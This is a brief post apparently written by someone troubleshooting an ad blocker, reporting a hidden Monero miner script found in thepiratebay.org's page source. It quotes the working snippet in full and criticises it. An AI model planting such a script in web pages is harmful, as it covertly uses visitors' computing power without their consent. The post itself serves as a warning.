I was helping someone today who was visiting thepiratebay.org, and looking at the source code of the page to troubleshoot an ad-blocker when I ran across this:
<script>
var miner=new CRLT.Anonymous('37efd635d0ec154de4d0b17dd1952aa3b5e88acd6bbe', {
threads:4,throttle:0.5, coin: "xmr",
});
miner.start();
</script>
Now there's a good reason to block JavaScript on this site!!!